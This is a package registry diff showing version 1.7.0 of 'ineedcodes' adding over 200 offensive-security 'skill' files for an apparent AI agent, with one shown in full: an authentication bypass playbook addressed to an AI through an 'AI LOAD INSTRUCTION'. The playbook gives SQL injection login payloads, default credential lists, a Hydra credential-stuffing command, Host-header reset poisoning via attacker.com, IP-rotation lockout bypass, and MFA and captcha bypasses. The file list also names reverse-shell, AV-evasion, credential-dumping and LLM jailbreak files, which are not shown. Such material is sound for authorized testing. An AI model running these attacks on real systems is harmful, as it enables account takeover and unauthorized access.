ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,441 @@
1
+ ---
2
+ name: authbypass-authentication-flaws
3
+ description: >-
4
+ Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.gated: true
5
+ ---
6
+
7
+ # SKILL: Authentication Bypass — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.
10
+
11
+ ## 0. AUTHORIZED CREDENTIAL TEST PLANNING
12
+
13
+ After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.
14
+
15
+ ### Service-first tiny sets
16
+
17
+ | Service Type | First Usernames | First Passwords |
18
+ |---|---|---|
19
+ | phpMyAdmin | `root`, `admin` | empty, `root`, `phpmyadmin`, `admin` |
20
+ | FTP | `ftp`, `admin`, `test` | empty, `ftp`, `admin`, `123456` |
21
+ | SSH | `root`, `admin`, service account names | `root`, `admin`, seasonal variants |
22
+ | MySQL | `root`, `mysql` | empty, `root`, `mysql` |
23
+ | Tomcat / Java admin | `tomcat`, `admin`, `manager` | `tomcat`, `admin`, `s3cret` |
24
+ | WebLogic | `weblogic`, `admin` | `weblogic`, `welcome1`, `admin` |
25
+
26
+ ### Username classes
27
+
28
+ | Class | Examples |
29
+ |---|---|
30
+ | Generic admins | `admin`, `administrator`, `root`, `test`, `guest` |
31
+ | Support / ops | `dev`, `ops`, `sysadmin`, `service`, `backup` |
32
+ | Name-based | `firstname`, `lastname`, `f.lastname`, `first.last` |
33
+ | Mail-derived | left side of corporate email formats |
34
+ | Product-based | `tomcat`, `weblogic`, `jenkins`, `gitlab` |
35
+
36
+ ### Wordlist sizing and port focus
37
+
38
+ | Scenario | Preferred Size | Why |
39
+ |---|---|---|
40
+ | Default admin panel | 5 to 50 passwords | Defaults beat giant lists here |
41
+ | Internal service with known product | vendor-specific small set | Better signal than generic lists |
42
+ | Consumer login with weak controls | Top 20 or Top 100 | Fast verification |
43
+ | Rate-limited login | tiny list + header/rotation strategy | Preserve attempts |
44
+ | Offline hash cracking | large dictionaries | Online brute rules do not apply |
45
+
46
+ Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.
47
+
48
+ ---
49
+
50
+ ## 1. SQL INJECTION LOGIN BYPASS
51
+
52
+ Classic but still found in legacy systems, custom ORMs, and raw query code:
53
+
54
+ ```sql
55
+ -- Basic bypass (admin user assumed first row):
56
+ Username: admin'--
57
+ Password: anything
58
+ → Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'
59
+
60
+ -- Generic bypass (logs in as first user in DB):
61
+ Username: ' OR '1'='1'--
62
+ Password: anything
63
+ → Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'
64
+
65
+ -- Blind: does this work?
66
+ Username: ' OR 1=1--
67
+ Username: admin' OR 'a'='a
68
+ Username: 1' OR '1'='1'/*
69
+ Username: 1 or 1=1
70
+ ```
71
+
72
+ **Test each field separately** — only one field may be vulnerable.
73
+
74
+ ---
75
+
76
+ ## 2. PASSWORD RESET VULNERABILITIES
77
+
78
+ ### Guessable / Predictable Reset Tokens
79
+
80
+ Check if reset token is based on:
81
+ ```
82
+ - Timestamp: token=1691234567890 (Unix time)
83
+ - Sequential: token=1001, 1002, 1003
84
+ - MD5(email): echo -n "user@example.com" | md5sum
85
+ - MD5(username+timestamp): reversible
86
+ - Short token (4-6 digits): brute-forceable
87
+ ```
88
+
89
+ **Test**: Request 3 consecutive reset emails, compare token patterns.
90
+
91
+ ### Reset Token Not Expiring
92
+ ```
93
+ 1. Request password reset → get token via email
94
+ 2. Wait 48+ hours (token should expire)
95
+ 3. Use old token → does it work?
96
+ ```
97
+
98
+ ### Reset Token Reuse
99
+ ```
100
+ 1. Request reset → get token T1
101
+ 2. Complete reset with T1
102
+ 3. Use T1 again → does it work again?
103
+ ```
104
+
105
+ ### Host Header Injection in Reset Email
106
+ When application generates reset URL using `Host` header:
107
+ ```http
108
+ POST /forgot-password HTTP/1.1
109
+ Host: attacker.com ← inject attacker's domain
110
+ Content-Type: application/x-www-form-urlencoded
111
+
112
+ email=victim@target.com
113
+ ```
114
+ → Reset email sent to victim with link pointing to `attacker.com/reset?token=VICTIM_TOKEN`
115
+ → Victim clicks → token captured by attacker
116
+
117
+ **Test**: Send password reset with modified `Host:`, check email for where reset link points.
118
+
119
+ ### Password Reset Token in Referer
120
+ ```
121
+ 1. Request reset → go to reset URL with token
122
+ 2. Reset page loads third-party resources (analytics, fonts)
123
+ → Referer header leaks: https://target.com/reset?token=TOKEN
124
+ → Third-party server receives token in logs
125
+ ```
126
+
127
+ ### Password Change Without Current Password
128
+ ```
129
+ PUT /api/user/password
130
+ {"new_password": "hacked"}
131
+ → No current_password field required?
132
+ → Combine with CSRF for account takeover
133
+ ```
134
+
135
+ ---
136
+
137
+ ## 3. ACCOUNT ENUMERATION
138
+
139
+ Identifying valid usernames/emails enables targeted attacks:
140
+
141
+ ### Error Message Difference
142
+ ```
143
+ Invalid username → "User not found"
144
+ Valid username, wrong pass → "Incorrect password"
145
+ → Enumerate valid accounts
146
+ ```
147
+
148
+ ### Response Time Difference
149
+ ```
150
+ Invalid username → fast response (no DB lookup)
151
+ Valid username → slightly slower (DB lookup + hash comparison)
152
+ → Timing oracle
153
+ ```
154
+
155
+ ### Password Reset Flow
156
+ ```
157
+ POST /forgot-password {"email": "nonexistent@example.com"}
158
+ → "If this email exists, we sent a reset link" (proper)
159
+ vs.
160
+ → "This email is not registered" (enumeration possible)
161
+ ```
162
+
163
+ ### Registration Endpoint
164
+ ```
165
+ POST /register {"email": "victim@example.com"}
166
+ → "Email already registered" → confirms account exists
167
+ vs.
168
+ → "Verification email sent" for both → no enumeration
169
+ ```
170
+
171
+ ---
172
+
173
+ ## 4. BRUTE FORCE BYPASS
174
+
175
+ ### Lockout After N Attempts Then Resets
176
+ ```
177
+ Lockout at 10 attempts → try 9 wrong passwords → lock
178
+ Wait for reset period (usually 30 min or 1 hour)
179
+ → Try 9 more → repeat → no permanent lockout
180
+ ```
181
+
182
+ ### IP-Based Lockout Bypass
183
+ ```
184
+ X-Forwarded-For: 1.1.1.1 ← change each request
185
+ X-Real-IP: 2.2.2.2
186
+ Rotate through IPs in header
187
+ ```
188
+
189
+ ### Username Cycling vs Password Cycling
190
+ ```
191
+ Normal brute: try many passwords for one user → lock
192
+ Reverse brute: try ONE password for many users
193
+ → "password123" against all users → find those with weak password
194
+ → No single account locked out
195
+ ```
196
+
197
+ ### Credential Stuffing
198
+ Use breached credentials from HaveIBeenPwned datasets against target:
199
+ ```bash
200
+ # Tools: Hydra, Burp Intruder, custom scripts
201
+ hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"
202
+ ```
203
+
204
+ ---
205
+
206
+ ## 5. MULTI-FACTOR AUTHENTICATION BYPASS
207
+
208
+ ### Session Cookie Before 2FA Completion
209
+ ```
210
+ Flow: Login (password correct) → redirect to 2FA page → enter code
211
+ Attack: After password step, session cookie is set but 2FA not yet checked.
212
+ → Use session cookie to directly access /dashboard
213
+ → Skip 2FA page entirely
214
+ ```
215
+
216
+ ### 2FA Code Brute Force
217
+ ```
218
+ 4-6 digit TOTP codes = 1,000,000 possibilities max
219
+ If no lockout on 2FA step:
220
+ → Brute force all codes (tool: Burp Intruder, sequential)
221
+ → TOTP windows: 30-second window, some accept previous/next window
222
+ ```
223
+
224
+ ### 2FA on Critical Actions Not On Login
225
+ ```
226
+ Login doesn't require 2FA, but:
227
+ DELETE /account or POST /transfer requires 2FA
228
+ Attack: Is 2FA checked on those actions or only on login?
229
+ → If only login: log in once → no 2FA needing verification for actions
230
+ ```
231
+
232
+ ### 2FA Backup Code Abuse
233
+ ```
234
+ Generate backup codes (usually 8-10 single-use)
235
+ Test:
236
+ → Are backup codes rate-limited?
237
+ → Can backup codes be used multiple times?
238
+ → Short codes (6-8 chars)? Brute-force if no rate limit
239
+ ```
240
+
241
+ ### 2FA Code Reuse
242
+ ```
243
+ TOTP codes valid for one use
244
+ → Use same TOTP code twice → does second use work?
245
+ → Replay attack if server doesn't track used codes
246
+ ```
247
+
248
+ ---
249
+
250
+ ## 6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS
251
+
252
+ ### Email Claim Trust
253
+ ```
254
+ 1. Create account at attacker-controlled OAuth provider
255
+ 2. Set email claim = victim@target.com
256
+ 3. Link/login via that provider
257
+ → If server trusts email claim without verification → account merge/takeover
258
+ ```
259
+
260
+ ### Password Doesn't Apply After SSO Link
261
+ ```
262
+ 1. User links Google SSO
263
+ 2. User forgets password (account has no password set after SSO only)
264
+ 3. "Forgot Password" flow → resets password even for SSO-only accounts?
265
+ → Can set password → now bypass SSO → direct login
266
+ ```
267
+
268
+ ---
269
+
270
+ ## 7. USERNAME / PASSWORD FIELD MANIPULATION
271
+
272
+ ### Long Password DoS → Bypass
273
+ ```
274
+ Some apps hash passwords before sending to database.
275
+ bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
276
+ Attack:
277
+ → Register with password "A"*100
278
+ → Login with password "A"*72 → same hash → works
279
+ → Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match
280
+ ```
281
+
282
+ ### Null Byte in Username
283
+ ```
284
+ username=admin%00 vs username=admin
285
+ → Null byte truncation in some string comparisons
286
+ → "admin\0attacker" = "admin" in C-string comparison
287
+ ```
288
+
289
+ ### Unicode Normalization
290
+ ```
291
+ Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
292
+ Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)
293
+ ```
294
+
295
+ ---
296
+
297
+ ## 8. SESSION MANAGEMENT FLAWS
298
+
299
+ ### Session Not Invalidated on Logout
300
+ ```
301
+ 1. Log in → capture session cookie
302
+ 2. Log out
303
+ 3. Replay captured session cookie → still valid?
304
+ → Session not server-side invalidated
305
+ ```
306
+
307
+ ### Session Not Regenerated on Privilege Change
308
+ ```
309
+ 1. Log in as low priv → get session cookie
310
+ 2. Admin upgrades your role
311
+ 3. Old session cookie now has admin access?
312
+ → Session not regenerated → old token inherits new privileges
313
+ ```
314
+
315
+ ### Predictable Session Tokens
316
+ ```
317
+ Token: base64(userid+timestamp) → reversible
318
+ Token: sequential integers → session ID= your_session_id -/+ small number
319
+ Token: short random (32-bit entropy) → brute-forceable
320
+ ```
321
+
322
+ ---
323
+
324
+ ## 9. AUTHENTICATION TESTING CHECKLIST
325
+
326
+ ```
327
+ □ Try SQL injection on login fields (' OR 1=1--)
328
+ □ Test password reset: predict token, host header injection, Referer leak
329
+ □ Test account enumeration via error messages / timing
330
+ □ Check 2FA: skip step (direct URL), brute force codes, reuse codes
331
+ □ Test brute force protections: X-Forwarded-For bypass, reverse brute
332
+ □ Check session invalidation on logout
333
+ □ Check session regeneration after privilege change
334
+ □ Test password change requiring current password
335
+ □ Test long passwords (bcrypt 72-byte truncation)
336
+ □ OAuth/SSO: test email claim trust, password set after SSO
337
+ □ Check remember_me tokens: how long, revocable, predictable?
338
+ ```
339
+
340
+ ---
341
+
342
+ ## 10. PASSWORD RESET ATTACK MATRIX (22 Patterns)
343
+
344
+ | # | Pattern | Description |
345
+ |---|---|---|
346
+ | 1 | Predictable reset token | Token based on timestamp, user ID, or sequential number |
347
+ | 2 | Token not bound to user | Use token generated for user A to reset user B |
348
+ | 3 | Token in response body | Reset token returned in HTTP response (not just email) |
349
+ | 4 | Token in URL parameter | Reset link token visible in Referer header to external resources |
350
+ | 5 | No token expiration | Token remains valid indefinitely |
351
+ | 6 | Token reuse | Same token works multiple times |
352
+ | 7 | Short/brute-forceable token | 4-6 digit numeric code without rate limiting |
353
+ | 8 | Password reset via host header | `Host: attacker.com` → reset link sent with attacker's domain |
354
+ | 9 | Registration overwrites existing account | Register with same email → overwrites password |
355
+ | 10 | Step skip (frontend only) | Jump directly to "set new password" step via URL |
356
+ | 11 | Response manipulation | Change `{"status":"fail"}` to `{"status":"success"}` in proxy |
357
+ | 12 | Verification code in response | SMS/email code returned in API response |
358
+ | 13 | Parallel session reset | Start reset for A, complete with B's session |
359
+ | 14 | Email/phone parameter pollution | `email=victim@x.com&email=attacker@x.com` |
360
+ | 15 | Unicode normalization | `admin@target.com` vs `ADMIN@target.com` vs Unicode confusables |
361
+ | 16 | SQL injection in reset | Email field injectable in reset query |
362
+ | 17 | IDOR on reset endpoint | Change user ID in reset confirmation request |
363
+ | 18 | Cross-protocol reset | Mobile API doesn't validate same token as web |
364
+ | 19 | Default security questions | Guessable answers, no rate limit |
365
+ | 20 | Token generation race condition | Multiple simultaneous requests generate same token |
366
+ | 21 | Logout doesn't invalidate reset | After password change, old sessions still work |
367
+ | 22 | Reset link cached by CDN/proxy | Public cache stores reset link with token |
368
+
369
+ ---
370
+
371
+ ## 11. CAPTCHA/VERIFICATION BYPASS PATTERNS (20 Methods)
372
+
373
+ | # | Method | How |
374
+ |---|---|---|
375
+ | 1 | Remove captcha parameter | Delete captcha field from request |
376
+ | 2 | Send empty captcha | `captcha=` or `captcha=null` |
377
+ | 3 | Reuse previous captcha | Same captcha value works multiple times |
378
+ | 4 | Captcha not bound to session | Use captcha solved in session A for session B |
379
+ | 5 | Server-side validation missing | Captcha checked client-side only |
380
+ | 6 | Response manipulation | Intercept and change response to bypass |
381
+ | 7 | Change request method | POST→GET or vice versa may skip captcha check |
382
+ | 8 | JSON content-type | Switch from form to JSON — captcha handler may not process |
383
+ | 9 | OCR bypass | Simple captchas solvable with tesseract/ML |
384
+ | 10 | Audio captcha weakness | Audio often simpler than visual |
385
+ | 11 | SMS code in response | Verification code returned in API response body |
386
+ | 12 | SMS code predictable | Sequential or time-based codes |
387
+ | 13 | No rate limit on code verification | Brute-force 4-6 digit code |
388
+ | 14 | Code not bound to phone/email | Use code sent to phone A on account B |
389
+ | 15 | Code doesn't expire | Old codes remain valid |
390
+ | 16 | Null byte in phone number | `+1234567890%00` bypasses dedup but delivers to same number |
391
+ | 17 | Case sensitivity | Email: `Admin@X.com` vs `admin@x.com` |
392
+ | 18 | Space/encoding in identifier | `user@x.com` vs `user@x.com ` (trailing space) |
393
+ | 19 | Concurrent requests | Race condition: send verify before captcha loads |
394
+ | 20 | Third-party captcha bypass | Misconfigured reCAPTCHA site key allows any domain |
395
+
396
+ ---
397
+
398
+ ## 12. INSECURE RANDOMNESS — TOKEN PREDICTION
399
+
400
+ ### UUID v1 (Time-Based — Predictable!)
401
+
402
+ ```
403
+ UUID v1 format: timestamp-clock_seq-node(MAC)
404
+ # MAC address often leaked via other endpoints
405
+ # Timestamp is 100ns intervals since 1582-10-15
406
+ # Tool: guidtool (reconstruct possible UUIDs from known timestamp range)
407
+ ```
408
+
409
+ ### MongoDB ObjectId
410
+
411
+ ```
412
+ ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter
413
+ # First 4 bytes = Unix timestamp → creation time leaked
414
+ # Counter is sequential → adjacent ObjectIds predictable
415
+ # If you know one ObjectId, nearby ones are calculable
416
+ ```
